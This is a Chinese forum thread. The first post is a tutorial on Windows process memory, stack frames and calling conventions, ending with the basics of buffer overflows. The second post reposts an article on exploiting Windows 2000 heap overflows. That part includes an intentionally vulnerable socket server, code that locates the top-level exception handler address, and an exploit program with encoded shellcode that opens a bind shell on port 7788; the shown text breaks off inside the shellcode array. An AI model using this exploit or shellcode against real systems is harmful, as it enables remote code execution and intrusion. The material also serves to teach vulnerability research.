补天网 - 编程与软件开发精华   
分页显示
返回《编程与软件开发精华》 快速返回
作 者  主题:windows进程中的内存结构
x-bit


=入木三分=
职务:版主
积分:37
贴数:450
 日期:2004-10-21 14:12:21
作者:四不象 来源:www.20cn.net
 
 在阅读本文之前,如果你连堆栈是什么多不知道的话,请先阅读文章后面的基础知识。
 
 接触过编程的人都知道,高级语言都能通过变量名来访问内存中的数据。那么这些变量在内存中是如何存放的呢?程序又是如何使用这些变量的呢?下面就会对此进行深入的讨论。下文中的C语言代码如没有特别声明,默认都使用VC编译的release版。
 
 首先,来了解一下 C 语言的变量是如何在内存分部的。C 语言有全局变量(Global)、本地变量(Local),静态变量(Static)、寄存器变量(Regeister)。每种变量都有不同的分配方式。先来看下面这段代码:
 
 #include <stdio.h>
 
 int g1=0, g2=0, g3=0;
 
 int main()
 {
 static int s1=0, s2=0, s3=0;
 int v1=0, v2=0, v3=0;
 
 //打印出各个变量的内存地址
 
 printf("0x%08x\n",&v1); //打印各本地变量的内存地址
 printf("0x%08x\n",&v2);
 printf("0x%08x\n\n",&v3);
 printf("0x%08x\n",&g1); //打印各全局变量的内存地址
 printf("0x%08x\n",&g2);
 printf("0x%08x\n\n",&g3);
 printf("0x%08x\n",&s1); //打印各静态变量的内存地址
 printf("0x%08x\n",&s2);
 printf("0x%08x\n\n",&s3);
 return 0;
 }
 
 编译后的执行结果是:
 
 0x0012ff78
 0x0012ff7c
 0x0012ff80
 
 0x004068d0
 0x004068d4
 0x004068d8
 
 0x004068dc
 0x004068e0
 0x004068e4
 
 输出的结果就是变量的内存地址。其中v1,v2,v3是本地变量,g1,g2,g3是全局变量,s1,s2,s3是静态变量。你可以看到这些变量在内存是连续分布的,但是本地变量和全局变量分配的内存地址差了十万八千里,而全局变量和静态变量分配的内存是连续的。这是因为本地变量和全局/静态变量是分配在不同类型的内存区域中的结果。对于一个进程的内存空间而言,可以在逻辑上分成3个部份:代码区,静态数据区和动态数据区。动态数据区一般就是“堆栈”。“栈(stack)”和“堆(heap)”是两种不同的动态数据区,栈是一种线性结构,堆是一种链式结构。进程的每个线程都有私有的“栈”,所以每个线程虽然代码一样,但本地变量的数据都是互不干扰。一个堆栈可以通过“基地址”和“栈顶”地址来描述。全局变量和静态变量分配在静态数据区,本地变量分配在动态数据区,即堆栈中。程序通过堆栈的基地址和偏移量来访问本地变量。
 
 
 ├———————┤低端内存区域
 │ …… │
 ├———————┤
 │ 动态数据区 │
 ├———————┤
 │ …… │
 ├———————┤
 │ 代码区 │
 ├———————┤
 │ 静态数据区 │
 ├———————┤
 │ …… │
 ├———————┤高端内存区域
 
 
 堆栈是一个先进后出的数据结构,栈顶地址总是小于等于栈的基地址。我们可以先了解一下函数调用的过程,以便对堆栈在程序中的作用有更深入的了解。不同的语言有不同的函数调用规定,这些因素有参数的压入规则和堆栈的平衡。windows API的调用规则和ANSI C的函数调用规则是不一样的,前者由被调函数调整堆栈,后者由调用者调整堆栈。两者通过“__stdcall”和“__cdecl”前缀区分。先看下面这段代码:
 
 #include <stdio.h>
 
 void __stdcall func(int param1,int param2,int param3)
 {
 int var1=param1;
 int var2=param2;
 int var3=param3;
 printf("0x%08x\n",¶m1); //打印出各个变量的内存地址
 printf("0x%08x\n",¶m2);
 printf("0x%08x\n\n",¶m3);
 printf("0x%08x\n",&var1);
 printf("0x%08x\n",&var2);
 printf("0x%08x\n\n",&var3);
 return;
 }
 
 int main()
 {
 func(1,2,3);
 return 0;
 }
 
 编译后的执行结果是:
 
 0x0012ff78
 0x0012ff7c
 0x0012ff80
 
 0x0012ff68
 0x0012ff6c
 0x0012ff70
 
 
 
 ├———————┤<—函数执行时的栈顶(ESP)、低端内存区域
 │ …… │
 ├———————┤
 │ var 1 │
 ├———————┤
 │ var 2 │
 ├———————┤
 │ var 3 │
 ├———————┤
 │ RET │
 ├———————┤<—“__cdecl”函数返回后的栈顶(ESP)
 │ parameter 1 │
 ├———————┤
 │ parameter 2 │
 ├———————┤
 │ parameter 3 │
 ├———————┤<—“__stdcall”函数返回后的栈顶(ESP)
 │ …… │
 ├———————┤<—栈底(基地址 EBP)、高端内存区域
 
 
 上图就是函数调用过程中堆栈的样子了。首先,三个参数以从又到左的次序压入堆栈,先压“param3”,再压“param2”,最后压入“param1”;然后压入函数的返回地址(RET),接着跳转到函数地址接着执行(这里要补充一点,介绍UNIX下的缓冲溢出原理的文章中都提到在压入RET后,继续压入当前EBP,然后用当前ESP代替EBP。然而,有一篇介绍windows下函数调用的文章中说,在windows下的函数调用也有这一步骤,但根据我的实际调试,并未发现这一步,这还可以从param3和var1之间只有4字节的间隙这点看出来);第三步,将栈顶(ESP)减去一个数,为本地变量分配内存空间,上例中是减去12字节(ESP=ESP-3*4,每个int变量占用4个字节);接着就初始化本地变量的内存空间。由于“__stdcall”调用由被调函数调整堆栈,所以在函数返回前要恢复堆栈,先回收本地变量占用的内存(ESP=ESP+3*4),然后取出返回地址,填入EIP寄存器,回收先前压入参数占用的内存(ESP=ESP+3*4),继续执行调用者的代码。参见下列汇编代码:
 
 ;--------------func 函数的汇编代码-------------------
 
 :00401000 83EC0C sub esp, 0000000C //创建本地变量的内存空间
 :00401003 8B442410 mov eax, dword ptr [esp+10]
 :00401007 8B4C2414 mov ecx, dword ptr [esp+14]
 :0040100B 8B542418 mov edx, dword ptr [esp+18]
 :0040100F 89442400 mov dword ptr [esp], eax
 :00401013 8D442410 lea eax, dword ptr [esp+10]
 :00401017 894C2404 mov dword ptr [esp+04], ecx
 
 ……………………(省略若干代码)
 
 :00401075 83C43C add esp, 0000003C ;恢复堆栈,回收本地变量的内存空间
 :00401078 C3 ret 000C ;函数返回,恢复参数占用的内存空间
 ;如果是“__cdecl”的话,这里是“ret”,堆栈将由调用者恢复
 
 ;-------------------函数结束-------------------------
 
 
 ;--------------主程序调用func函数的代码--------------
 
 :00401080 6A03 push 00000003 //压入参数param3
 :00401082 6A02 push 00000002 //压入参数param2
 :00401084 6A01 push 00000001 //压入参数param1
 :00401086 E875FFFFFF call 00401000 //调用func函数
 ;如果是“__cdecl”的话,将在这里恢复堆栈,“add esp, 0000000C”
 
 聪明的读者看到这里,差不多就明白缓冲溢出的原理了。先来看下面的代码:
 
 #include <stdio.h>
 #include <string.h>
 
 void __stdcall func()
 {
 char lpBuff[8]="\0";
 strcat(lpBuff,"AAAAAAAAAAA");
 return;
 }
 
 int main()
 {
 func();
 return 0;
 }
 
 编译后执行一下回怎么样?哈,“"0x00414141"指令引用的"0x00000000"内存。该内存不能为"read"。”,“非法操作”喽!"41"就是"A"的16进制的ASCII码了,那明显就是strcat这句出的问题了。"lpBuff"的大小只有8字节,算进结尾的‘\0‘,那strcat最多只能写入7个"A",但程序实际写入了11个"A"外加1个‘\0‘。再来看看上面那幅图,多出来的4个字节正好覆盖了RET的所在的内存空间,导致函数返回到一个错误的内存地址,执行了错误的指令。如果能精心构造这个字符串,使它分成三部分,前一部份仅仅是填充的无意义数据以达到溢出的目的,接着是一个覆盖RET的数据,紧接着是一段shellcode,那只要着个RET地址能指向这段shellcode的第一个指令,那函数返回时就能执行shellcode了。但是软件的不同版本和不同的运行环境都可能影响这段shellcode在内存中的位置,那么要构造这个RET是十分困难的。一般都在RET和shellcode之间填充大量的NOP指令,使得exploit有更强的通用性。
 
 
 ├———————┤<—低端内存区域
 │ …… │
 ├———————┤<—由exploit填入数据的开始
 │ │
 │ buffer │<—填入无用的数据
 │ │
 ├———————┤
 │ RET │<—指向shellcode,或NOP指令的范围
 ├———————┤
 │ NOP │
 │ …… │<—填入的NOP指令,是RET可指向的范围
 │ NOP │
 ├———————┤
 │ │
 │ shellcode │
 │ │
 ├———————┤<—由exploit填入数据的结束
 │ …… │
 ├———————┤<—高端内存区域
 
 
 windows下的动态数据除了可存放在栈中,还可以存放在堆中。了解C++的朋友都知道,C++可以使用new关键字来动态分配内存。来看下面的C++代码:
 
 #include <stdio.h>
 #include
 #include <windows.h>
 
 void func()
 {
 char *buffer=new char[128];
 char bufflocal[128];
 static char buffstatic[128];
 printf("0x%08x\n",buffer); //打印堆中变量的内存地址
 printf("0x%08x\n",bufflocal); //打印本地变量的内存地址
 printf("0x%08x\n",buffstatic); //打印静态变量的内存地址
 }
 
 void main()
 {
 func();
 return;
 }
 
 程序执行结果为:
 
 0x004107d0
 0x0012ff04
 0x004068c0
 
 可以发现用new关键字分配的内存即不在栈中,也不在静态数据区。VC编译器是通过windows下的“堆(heap)”来实现new关键字的内存动态分配。在讲“堆”之前,先来了解一下和“堆”有关的几个API函数:
 
 HeapAlloc 在堆中申请内存空间
 HeapCreate 创建一个新的堆对象
 HeapDestroy 销毁一个堆对象
 HeapFree 释放申请的内存
 HeapWalk 枚举堆对象的所有内存块
 GetProcessHeap 取得进程的默认堆对象
 GetProcessHeaps 取得进程所有的堆对象
 LocalAlloc
 GlobalAlloc
 
 当进程初始化时,系统会自动为进程创建一个默认堆,这个堆默认所占内存的大小为1M。堆对象由系统进行管理,它在内存中以链式结构存在。通过下面的代码可以通过堆动态申请内存空间:
 
 HANDLE hHeap=GetProcessHeap();
 char *buff=HeapAlloc(hHeap,0,8);
 
 其中hHeap是堆对象的句柄,buff是指向申请的内存空间的地址。那这个hHeap究竟是什么呢?它的值有什么意义吗?看看下面这段代码吧:
 
 #pragma comment(linker,"/entry:main") //定义程序的入口
 #include <windows.h>
 
 _CRTIMP int (__cdecl *printf)(const char *, ...); //定义STL函数printf
 /*---------------------------------------------------------------------------
 写到这里,我们顺便来复习一下前面所讲的知识:
 (*注)printf函数是C语言的标准函数库中函数,VC的标准函数库由msvcrt.dll模块实现。
 由函数定义可见,printf的参数个数是可变的,函数内部无法预先知道调用者压入的参数个数,函数只能通过分析第一个参数字符串的格式来获得压入参数的信息,由于这里参数的个数是动态的,所以必须由调用者来平衡堆栈,这里便使用了__cdecl调用规则。BTW,Windows系统的API函数基本上是__stdcall调用形式,只有一个API例外,那就是wsprintf,它使用__cdecl调用规则,同printf函数一样,这是由于它的参数个数是可变的缘故。
 ---------------------------------------------------------------------------*/
 void main()
 {
 HANDLE hHeap=GetProcessHeap();
 char *buff=HeapAlloc(hHeap,0,0x10);
 char *buff2=HeapAlloc(hHeap,0,0x10);
 HMODULE hMsvcrt=LoadLibrary("msvcrt.dll");
 printf=(void *)GetProcAddress(hMsvcrt,"printf");
 printf("0x%08x\n",hHeap);
 printf("0x%08x\n",buff);
 printf("0x%08x\n\n",buff2);
 }
 
 执行结果为:
 
 0x00130000
 0x00133100
 0x00133118
 
 hHeap的值怎么和那个buff的值那么接近呢?其实hHeap这个句柄就是指向HEAP首部的地址。在进程的用户区存着一个叫PEB(进程环境块)的结构,这个结构中存放着一些有关进程的重要信息,其中在PEB首地址偏移0x18处存放的ProcessHeap就是进程默认堆的地址,而偏移0x90处存放了指向进程所有堆的地址列表的指针。windows有很多API都使用进程的默认堆来存放动态数据,如windows 2000下的所有ANSI版本的函数都是在默认堆中申请内存来转换ANSI字符串到Unicode字符串的。对一个堆的访问是顺序进行的,同一时刻只能有一个线程访问堆中的数据,当多个线程同时有访问要求时,只能排队等待,这样便造成程序执行效率下降。
 
 最后来说说内存中的数据对齐。所位数据对齐,是指数据所在的内存地址必须是该数据长度的整数倍,DWORD数据的内存起始地址能被4除尽,WORD数据的内存起始地址能被2除尽,x86 CPU能直接访问对齐的数据,当他试图访问一个未对齐的数据时,会在内部进行一系列的调整,这些调整对于程序来说是透明的,但是会降低运行速度,所以编译器在编译程序时会尽量保证数据对齐。同样一段代码,我们来看看用VC、Dev-C++和lcc三个不同编译器编译出来的程序的执行结果:
 
 #include <stdio.h>
 
 int main()
 {
 int a;
 char b;
 int c;
 printf("0x%08x\n",&a);
 printf("0x%08x\n",&b);
 printf("0x%08x\n",&c);
 return 0;
 }
 
 这是用VC编译后的执行结果:
 0x0012ff7c
 0x0012ff7b
 0x0012ff80
 变量在内存中的顺序:b(1字节)-a(4字节)-c(4字节)。
 
 这是用Dev-C++编译后的执行结果:
 0x0022ff7c
 0x0022ff7b
 0x0022ff74
 变量在内存中的顺序:c(4字节)-中间相隔3字节-b(占1字节)-a(4字节)。
 
 这是用lcc编译后的执行结果:
 0x0012ff6c
 0x0012ff6b
 0x0012ff64
 变量在内存中的顺序:同上。
 
 三个编译器都做到了数据对齐,但是后两个编译器显然没VC“聪明”,让一个char占了4字节,浪费内存哦。
 
 
 基础知识:
 堆栈是一种简单的数据结构,是一种只允许在其一端进行插入或删除的线性表。允许插入或删除操作的一端称为栈顶,另一端称为栈底,对堆栈的插入和删除操作被称为入栈和出栈。有一组CPU指令可以实现对进程的内存实现堆栈访问。其中,POP指令实现出栈操作,PUSH指令实现入栈操作。CPU的ESP寄存器存放当前线程的栈顶指针,EBP寄存器中保存当前线程的栈底指针。CPU的EIP寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。
 
 
 参考:《Windows下的HEAP溢出及其利用》by: isno
  《windows核心编程》by: Jeffrey Richter
x-bit


=入木三分=
职务:版主
积分:37
贴数:450
日期: 2004-10-21 14:19:04  
附:
 
Windows下的HEAP溢出及其利用
创建时间:2002-05-28
文章属性:原创
文章来源:http://www.xfocus.org
文章提交:isno (isno_at_sina.com)
Windows下的HEAP溢出及其利用
一、概述
前一段时间ASP的溢出闹的沸沸扬扬,这个漏洞并不是普通的堆栈溢出,而是发生在HEAP中的溢出,这使大家重新认识到了Windows下的HEAP溢出的可利用性。其实WIN下的HEAP溢出比Linux和SOLARIS下面的还要简单得多,大家肯定已经都搞明白了,我来做是一个总结,以免自己将来忘了。由于缺乏这方面的资料及源代码,所有的分析结果都来自于反汇编和调试的分析,所以错误之处在所难免,敬请各位指正。
以下所有程序的测试环境为:
中文版Windows 2000 + SP2
VC++ 6.0
二、Windows的HEAP管理机制简述
同LINUX一样,Windows的HEAP区是程序动态分配一块内存区域。程序员一般调用C函数malloc/free或者C++的new/delete或者WIN32 API函数HeapAlloc/HeapFree来动态分配内存,这些函数最终都将调用ntdll.dll中的RtlAllocateHeap/RtlFreeHeap来进行实际的内存分配工作,所以我们只需要分析RtlAllocateHeap/RtlFreeHeap就行了。
对于一个进程来说可以有多个HEAP区,每一个HEAP的首地址以句柄来表示:hHeap,这也就是RtlAllocateHeap的第一个参数。每个HEAP区的整体结构如下:
+-------------------------------------------------------------------+
| HEAP总体管理结构区 |    双指针区    |        用户分配内存区       |
+-------------------------------------------------------------------+
^                    ^
|_hHeap              |_hHeap+0x178
heap总体管理结构区存放着一些用于HEAP总体管理的结构,这不是我们所关心的。双指针区存放着一些成对出现的指针,用于定位分配内存以及释放内存的位置,这可能是某种树结构,我还没完全搞清楚。用户分配内存区是用户动态分配内存时实际用到区域,也这是HEAP的主体。
当我们调用RtlAllocateHeap(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes)来分配内存时将进行以下操作:
对参数进行检查,如果dwBytes过大或小于0都按照出错处理,根据dwFlags来设置一些管理结构;
检查是否为DEBUG程序,对于DEBUG的程序与实际运行的程序每个内存块之间的结构是不同的,所以我们下面说到的都是以RELEASE版编译的实际运行的程序(不是在MSDEV中调试的程序);
根据要分配的内存的大小(dwBytes)决定不同的内存分配算法,我们只分析小于1024 bytes的情况;
从双指针区找到用户内存区的末尾位置,如果有足够的空间分配所需的内存,就在末尾+dwBytes+8的位置放置一对指针来指向双指针区的指向用户内存区末尾位置的地方;
在后面同时设置双指针区的指向用户内存区末尾位置的指针指向进行完分配之后的用户内存区末尾位置。这么说可能有点绕,不过这跟HEAP溢出没有太大的关系,所以我们就不细究了。
两块连续分配的内存块之间并不是紧挨着的,而是有8字节的管理结构,最末尾的一块内存后面还另外多了8字节的指针指向双指针区,就是上面提到过的。
假设有以下程序:
buf1 = HeapAlloc(hHeap, 0, 16);
buf2 = HeapAlloc(hHeap, 0, 16);
连续分配了两块16字节内存,实际在内存中(用户分配区)的情况是这样的:
第一次分配后:
+-----------------------------------------------+
|       buf1         |   8 byte   |4 byte|4 byte|
+-----------------------------------------------+
|      用户内存      |  管理结构  |   两个指针  |
第二次分配后:
+---------------------------------------------------------------------------------+
|       buf1         |   8 byte   |       buf2         |   8 byte   |4 byte|4 byte|
+---------------------------------------------------------------------------------+
|      用户内存      |  管理结构  |      用户内存      |  管理结构  |   两个指针  |
在第二次分配内存的时候会利用第一块内存管理结构后面那两个指针进行一些操作,其中会有一次写内存的操作:
77FCB397                 mov     [ecx], eax
77FCB399                 mov     [eax+4], ecx
这时的eax和ecx分别指向:
+-----------------------------------------------+
|       buf1         |   8 byte   |4 byte|4 byte|
+---------------------------------^------^------+
|      用户内存      |  管理结构  |_eax  |_ecx  |
写到这里大家一定就明白HEAP溢出如何利用了吧?假设我们分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即16字节,就会发生溢出,当如果我们覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就会把一个4字节的内容写入一个地址当中,而这个内容和地址都是我们能够控制的,这样我们就可以控制函数的流程转向我们的shellcode了。
三、HEAP溢出的利用
上面就是这种溢出可以被利用的基本原理,下面我们就来看看具体是怎么回事。有这么一个程序:
/*
*  Windows Heap overrun test - vul.c
*             by isno
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[])
{
  HANDLE hHeap;
  char *buf1, *buf2;
  char mybuf[] = "AAAAAAAAAAAAAAAABBBBBBBBXXXXYYYY";
  file://在进程的默认HEAP当中分配内存
  hHeap=GetProcessHeap();
  file://先分配一块16字节内存buf1
  buf1 = HeapAlloc(hHeap, 0, 16);
 
  file://把32字节的mybuf拷贝到16字节的buf1里面,发生溢出!
  strcpy(buf1,mybuf);
  file://再次分配一块16字节的内存buf2,此时buf1还没有被释放
  file://由于buf1溢出了,所以当写内存的时候就会出错
  buf2 = HeapAlloc(hHeap, 0, 16);
  file://释放这两块内存
  HeapFree(hHeap, 0, buf1);
  HeapFree(hHeap, 0, buf2);
  return 0;
}
我们把这个程序用VC按照RELEASE方式编译,并在命令行下运行它(不要在MSDEV中调试运行)。如果你没有装SOFTICE的话就会弹出一个错误对话框显示:"0x77fcb397"指令引用的"0x59595959"内存。该内存不能为"written"。
可以注意到0x59595959就是YYYY,这就证明了程序在向YYYY指向的内存地址进行写操作,写的内容是什么呢?如果你启动了SOFTICE的话,运行这个程序的时候SOFTICE就会自动跳出来,并停在下面的指令处:
77FCB397                 mov     [ecx], eax
此时eax=0x58585858,ecx=0x59595959,因为0x59595959这个地址没有映射内存页面,所以执行这个指令的时候出错了。
0x58585858和0x59595959正是我们覆盖buf1所用的XXXX和YYYY,实际进行的内存分配操作就是上面我们说过的那样:
第一次分配后:
+-----------------------------------------------+
|       buf1         |   8 byte   |4 byte|4 byte|
+-----------------------------------------------+
|      用户内存      |  管理结构  |   两个指针  |
溢出后:
+-----------------------------------------------+
|       buf1         |   8 byte   |4 byte|4 byte|
+-----------------------------------------------+
|  AAAAAAAAAAAAAAAA  |  BBBBBBBB  | XXXX | YYYY |
这样当第二次分配buf2的时候就会把XXXX写入到YYYY所指向的地址当中去,由于XXXX和YYYY都是我们所能够控制的,所以我们就可以把shellcode地址写入到堆栈中保存的函数返回地址去,这样当函数返回的时候就会跳到我们的shellcode去执行。
当然这是比较理想的情况,实际上利用这个漏洞还有很多问题,下面我们以一个实际的例子来看看具体利用这个漏洞的情况。
四、实战
由于Windows下的溢出对于本地利用来说没有多大意义,所以我们一个存在HEAP溢出漏洞的网络程序为例:
/*
  win_heap_vul.c
  Windows下存在HEAP溢出漏洞的服务端程序
*/
#define PORT 1500
#define BUFFLEN 32 file://分配内存的大小
#define COPYLEN 64 file://实际拷贝的大小
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
int main()
{
  WSADATA        wsd;
  SOCKET        sListen, sClient;
  struct        sockaddr_in local, client;
  int            iAddrSize;
  HANDLE        hHeap;
   
  char        *buf1, *buf2;
  char        buff[4096];
   
  if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
  {
    printf("Failed to load Winsock!\n");
    return 1;
  }
  file://建立一个socket监听1500端口
  sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  local.sin_addr.s_addr = htonl(INADDR_ANY);
  local.sin_family = AF_INET;
  local.sin_port = htons(PORT);
  if (bind(sListen, (struct sockaddr *)&local, sizeof(local)) == SOCKET_ERROR)
  {
    printf("bind() failed: %d\n", WSAGetLastError());
    return 1;
  }
  listen(sListen, 8);
  iAddrSize = sizeof(client);
  sClient = accept(sListen, (struct sockaddr *)&client, &iAddrSize);       
  if (sClient == INVALID_SOCKET)
  {       
    printf("accept() failed: %d\n", WSAGetLastError());
    return 1;
  }
  printf("connect form: %s:%d\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port));
  file://我们自己建立一个HEAP,以免破坏掉进程默认HEAP以后shellcode无法正常运行
  hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
  file://动态分配一块BUFFLEN大小的(32 bytes)的内存buf1
  buf1 = HeapAlloc(hHeap, 0, BUFFLEN);
  recv(sClient, buff, 4096, 0);
  file://注意:这里溢出的不是buff,而是buf1,
  file://buff是在栈中开辟的缓冲区,它的大小是4096,上面recv的也是4096,所以不会溢出
  printf("recv1: %s\n", buff);
  file://将从客户端接受到的内容(即buff)拷贝到buf1中
  file://如果接受到的内容大于32字节将发生溢出
  file://这里错误的使用了COPYLEN(64 bytes),因此造成溢出
  memcpy(buf1, buff, COPYLEN);
  file://如果覆盖到HEAP中的管理结构,那么当再次动态分配内存时将可能被利用
  buf2 = HeapAlloc(hHeap, 0, BUFFLEN);
  recv(sClient, buff, 4096, 0);
  printf("recv2: %s\n", buf2);
  HeapFree(hHeap, 0, buf1);
  HeapFree(hHeap, 0, buf2);
  closesocket(sListen);
  WSACleanup();
  return 0;
}
整个程序很简单,监听在1500端口,先分配了32字节的buf1,并把客户端发送过来的内容的前64字节拷贝到buf1里,这里是由于错误的使用了宏而发生的溢出(应该用BUFFLEN,但用了COPYLEN),这种情况在实际中也是很容易发生的。这样当再分配buf2的时候就会有写内存的操作,使得我们可以利用这个漏洞。
现在我们就可以写个攻击程序来溢出它,并且控制改写任意4字节的内存。那么到底改写什么地方比较合适呢?我想来想去有4种地方可以改写,用来控制去执行我们的shellcode:
1.堆栈中保存的函数返回地址
2.堆栈中保存的的异常处理指针
3.线程默认异常处理指针(顶层异常处理指针)
4.线程环境块(TEB)
1和2都是保存在堆栈中的地址,因此在不同的系统中可能是不一样的,如果改写这两个地址的话虽然也可能成功,但是无法保证程序的通用性,从实际攻击的成功率的角度考虑,就不能用这两种地址。
3是线程默认异常处理指针(即顶层异常处理指针),它在同一版本的操作系统中是一个固定的值。这里稍微介绍一下Windows结构化异常处理的基本原理。Windows的结构化异常处理(SEH)是一种对程序异常的处理机制,它是按照链式层状结构进行处理的。当线程中发生异常时,操作系统首先找到线程环境块TEB指向的第一个内存单元(即fs:[0])中所包含的地址,这个地址指向的地方存放着上一层异常链指针,而在这个地址+4的地方存放着最低层异常处理指针,操作系统就自动跳到这个指针所指向的函数去执行来进行异常处理。当这个函数无法对异常进行处理的时候,再根据上一层的异常链指针来寻找到上一层的异常处理指针来处理,如果所有的异常处理函数都无法处理这个异常,那么系统就使用默认异常处理指针(即顶层异常处理指针)来处理异常情况,就是这个函数:
LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);
这个函数负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错的时候显示错误对话框的原因。
我们可以通过SetUnhandledExceptionFilter这个函数来设置默认异常处理指针,把SetUnhandledExceptionFilter反汇编一下可以发现它非常简单:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
  LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
)
.text:77E6BE11 SetUnhandledExceptionFilter proc near
.text:77E6BE11                 mov     ecx, [esp+lpTopLevelExceptionFilter]
.text:77E6BE15                 mov     eax, dword_77EBF44C
.text:77E6BE1A                 mov     dword_77EBF44C, ecx
.text:77E6BE20                 retn    4
.text:77E6BE20 SetUnhandledExceptionFilter endp
它所做的就只是把参数即用户指定的默认异常处理指针放入0x77ebf44c这个地址所指向的内存单元之中。然后UnhandledExceptionFilter在进行默认异常处理的时候就从0x77ebf44c中取出这个指针,然后跳到那里去执行。因此我们只要改写0x77ebf44c这个地址中的内容就可以改变默认异常处理的函数了,这个0x77ebf44c在同一版本(包括ServicePack版本)的系统当中应该是固定的(但是在一些系统中即使系统和SP的版本都相同,这个地址也不相同,不知道是为什么,可能是某些补丁修改了这个地址),在中文版Windows+SP2中就是0x77ebf44c,在别的版本中可能不一样,我写了个小程序来获取这个地址:
#include <stdio.h>
#include <windows.h>
void main()
{
    unsigned int sehaddr;
    int *un;
    HMODULE hk = LoadLibrary("KERNEL32.dll");
    un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");
    _asm{
        mov eax,un
        add eax,5
        mov ebx,[eax]
        mov sehaddr,ebx
    }
    printf("the top seh: 0x%x\r\n",sehaddr);
    _getch();
    return;
}
运行这个程序就可以获得你当前系统中存放默认异常处理的地址了。再回到我们HEAP溢出的问题上,我们可以通过改写默认异常处理来改变程序的流程,也就是改写0x77ebf44c这个内存单元的值为shellcode的地址。这是一个比较通用的方法,成功率也比较高。
还有一种方法是改写TEB即fs:[0]的地方,系统发生异常的时候会从这个地方取出最底层的异常链来进行异常处理,我们可以自己构造一个异常处理结构指向我们的shellcode,这样就可以达到控制程序流程的目的了,这个fs:[0]对于单线程的程序是比较固定的,但是对于多线程的不同线程会有所变化,所以还是不如改写默认异常处理好,因此我们最后决定改写默认异常处理的内存单元。
下面就是shellcode存放在哪里的问题了,我觉得这个问题没有通用的方法,要根据发生溢出的程序的情况而定,如果可以放在一个发生异常时有寄存器能够指向的地方那就是最完美的情况,这样就可以用一个系统DLL中有JMP EXX指令的地址来改写默认异常处理,其中EXX是指向shellcode的寄存器。但是这种情况似乎比较少见,一般shellcode也没办法放到这种位置上来,那就只能用shellcode的地址来直接定位,可以在shellcode前面放上大量NOP来提高成功率。对于前面那个漏洞程序,我们就使用shellcode的地址来改写默认异常处理的方法。
但是这里还有一个小问题,发生写内存操作的有两个指令:
77FCB397                 mov     [ecx], eax
77FCB399                 mov     [eax+4], ecx
这样不但会把shellcode地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,这样就把shellcode中要执行的指令给破坏了。要解决这个问题,我们可以用一个jmp 6这样的指令来代替nop,这样就能够跳过后面被破坏的字节。
理论上的问题都解决了,现在就可以写出攻击程序来了:
/*
  win_heap_exp.c
  HEAP溢出漏洞的攻击程序
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
unsigned char shellcode[] =
file://打开7788端口的shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05"
"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff"
"\x21\x46\x2b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30\x9c"
"\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41\x6d"
"\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e\x5d"
"\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x25\x30\x6f\x30\x42"
"\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa\xaa\xaa"
"\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e\x5d\x55"
"\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x42\xad"
"\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55\x55\xaa"
"\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa"
"\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x2b\x6b"
"\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x2b\x17\x30\x4e\x5d"
"\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30\x4e\x5d\x55\x55"
"\xaa\xaa\x5a\x15\x21\x3f\x30\x4e\x5d\x55\x55\x99\x6a\xcc\x21\xa8"
"\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab\xaa\xaa\x21\x27\x30"
"\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30\x4e\x5d\x55\x55\x99"
"\x63\xcc\x21\xa6\xba\x2b\x53\xfa\xef\xaa\xaa\xa5\x30\x6f\xd3\xab"
"\xaa\xaa\x21\x3f\x30\x4e\x5d\x55\x55\x21\xe8\x96\x21\x27\x30\x4e"
"\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x30\x4e\x5d\x55\x55\x23\x3f"
"\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6"
"\xa9\x27\x30\x4e\x5d\x55\x55\x23\x27\x36\x5d\x55\x55\x21\x3f\x36"
"\x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa"
